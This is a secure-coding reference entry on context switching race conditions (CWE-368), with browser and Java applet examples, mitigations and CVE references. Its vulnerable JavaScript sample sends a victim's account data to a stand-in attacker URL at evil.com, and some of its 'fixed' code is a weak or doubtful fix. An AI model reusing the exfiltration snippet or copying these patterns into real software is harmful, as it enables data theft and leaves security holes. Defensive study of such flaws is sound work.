Context Switching Race Condition
Description
Context Switching Race Condition is a vulnerability that occurs when a product performs non-atomic actions while switching between security contexts, creating a race condition that allows attackers to modify behavior during the transition. This commonly occurs in web browsers when transitioning between trusted and untrusted domains, where actions may execute with misaligned trust levels - either code from an untrusted domain executing with trusted privileges, or trusted code interacting with untrusted content. The vulnerability exploits the gap between when a context switch begins and when it completes.
Risk
Context switching race conditions in browsers can lead to cross-domain data theft, session hijacking, and security bypass. When JavaScript executes during a page transition, it may run in the wrong security context, enabling cross-site scripting-like attacks. Address bar spoofing occurs when the URL updates before or after the actual security context changes, deceiving users about which site they're interacting with. Applet or plugin loading during page transitions can cause use-after-free vulnerabilities. These attacks undermine the same-origin policy and trust indicators that users rely on to make security decisions.
Solution
Ensure security context transitions are atomic and complete before allowing any code execution or user interaction. Update trust indicators (address bar, SSL indicators) only after the new context is fully established. Prevent script execution during page transitions. Implement proper isolation between security contexts so that pending operations from the old context cannot affect the new one. Use process isolation for different security contexts where possible. Validate the security context before every sensitive operation, not just at page load.
Common Consequences
| Impact | Details |
|---|---|
| Integrity | Scope: Integrity Attackers can modify application data by executing actions in the wrong security context. |
| Confidentiality | Scope: Confidentiality Cross-domain data access enables theft of sensitive information from other origins. |
Example Code
Vulnerable Code
// Vulnerable: Actions during page transition
// Attacker's page at evil.com
window.onbeforeunload = function() {
// Vulnerable: Code runs during transition to bank.com
// May execute in bank.com's context depending on timing
fetch('/api/account', { credentials: 'include' })
.then(r => r.json())
.then(data => {
// Attempt to exfiltrate data
navigator.sendBeacon('https://evil.com/steal', JSON.stringify(data));
});
};
// Navigate to bank while onbeforeunload runs
location.href = 'https://bank.com';
// Vulnerable: URL bar spoofing via race condition
// Page loads content before URL updates
function vulnerableNavigate(url) {
// Update URL immediately
history.pushState(null, '', url);
// Content loads later - race window for spoofing
fetch(url)
.then(response => response.text())
.then(html => {
document.body.innerHTML = html;
});
// User sees legitimate URL but content may be attacker-controlled
}
// Vulnerable: Context switch in applet loading
public class VulnerableAppletLoader {
public void loadApplet(String url, SecurityContext targetContext) {
// Begin context switch
SecurityContext oldContext = SecurityContext.current();
// Vulnerable: Applet starts loading before context is set
Applet applet = downloadApplet(url);
// Race: Applet code may execute here with old context
SecurityContext.setCurrent(targetContext);
// Initialize applet in new context
applet.init();
}
}
Fixed Code
// Fixed: Complete context switch before any execution
class SecureNavigator {
async navigate(url) {
// Fixed: Disable all scripts before transition
document.querySelectorAll('script').forEach(s => s.remove());
// Fixed: Block new script execution
const csp = document.createElement('meta');
csp.httpEquiv = 'Content-Security-Policy';
csp.content = "script-src 'none'";
document.head.appendChild(csp);
// Fixed: Clear sensitive data before navigation
this.clearSensitiveState();
// Fixed: Navigate with full page replacement
window.location.replace(url);
}
clearSensitiveState() {
// Clear cookies for current domain
// Clear localStorage/sessionStorage
// Cancel pending requests
}
}
// Fixed: Atomic URL and content update
async function secureNavigate(url) {
// Fixed: Load content first, update URL only after validation
try {
const response = await fetch(url);
const html = await response.text();
// Fixed: Verify response origin matches requested URL
if (new URL(response.url).origin !== new URL(url).origin) {
throw new Error('Unexpected redirect');
}
// Fixed: Update content and URL atomically
document.open();
document.write(html);
document.close();
history.replaceState(null, '', url);
} catch (error) {
// Fixed: On failure, don't update URL
console.error('Navigation failed:', error);
}
}
// Fixed: Atomic context switch
public class SecureAppletLoader {
public void loadApplet(String url, SecurityContext targetContext) {
// Fixed: Acquire lock for context switch
synchronized (SecurityContext.class) {
// Fixed: Switch context BEFORE loading
SecurityContext oldContext = SecurityContext.current();
SecurityContext.setCurrent(targetContext);
try {
// Fixed: Download and init in correct context
Applet applet = downloadApplet(url);
applet.init();
} catch (Exception e) {
// Fixed: Restore context on failure
SecurityContext.setCurrent(oldContext);
throw e;
}
}
}
}
CVE Examples
- CVE-2009-1837 — Race condition during applet loading led to use-after-free.
- CVE-2004-2260 — Address bar spoofing through update timing.
- CVE-2004-0191 — JavaScript executed in wrong domain context.
References
- MITRE Corporation. "CWE-368: Context Switching Race Condition." https://cwe.mitre.org/data/definitions/368.html
- OWASP. "Clickjacking Defense Cheat Sheet." https://cheatsheetseries.owasp.org/